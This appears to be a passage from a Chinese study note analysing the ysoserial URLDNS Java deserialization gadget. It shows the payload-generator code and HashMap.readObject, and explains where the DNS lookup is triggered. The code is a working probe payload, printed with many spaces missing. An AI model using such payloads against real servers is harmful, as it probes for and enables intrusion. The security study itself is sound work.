publicclassURLDNSimplementsObjectPayload<Object> { public Object getObject(final String url)throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandlerhandler=newSilentURLStreamHandler();
HashMapht=newHashMap(); // HashMap that will contain the URL URLu=newURL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached. // This resets that so the next time hashCode is called a DNS lookup will be triggered. Reflections.setFieldValue(u, "hashCode", -1); return ht; }
@java.io.Serial privatevoidreadObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) thrownewInvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets intmappings= s.readInt(); // Read number of mappings (size) if (mappings < 0) thrownewInvalidObjectException("Illegal mappings count: " + mappings); elseif (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 floatlf= Math.min(Math.max(0.25f, loadFactor), 4.0f); floatfc= (float)mappings / lf + 1.0f; intcap= ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); floatft= (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])newNode[cap]; table = tab;
// Read the keys and values, and put the mappings in the HashMap for (inti=0; i < mappings; i++) { @SuppressWarnings("unchecked") Kkey= (K) s.readObject(); @SuppressWarnings("unchecked") Vvalue= (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
根据ysoserial生成URLDNSpayload的代码中的注释,During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered,可以知道触发点在于readObject中的最后一行代码,在这里下断点,其中的key是URL对象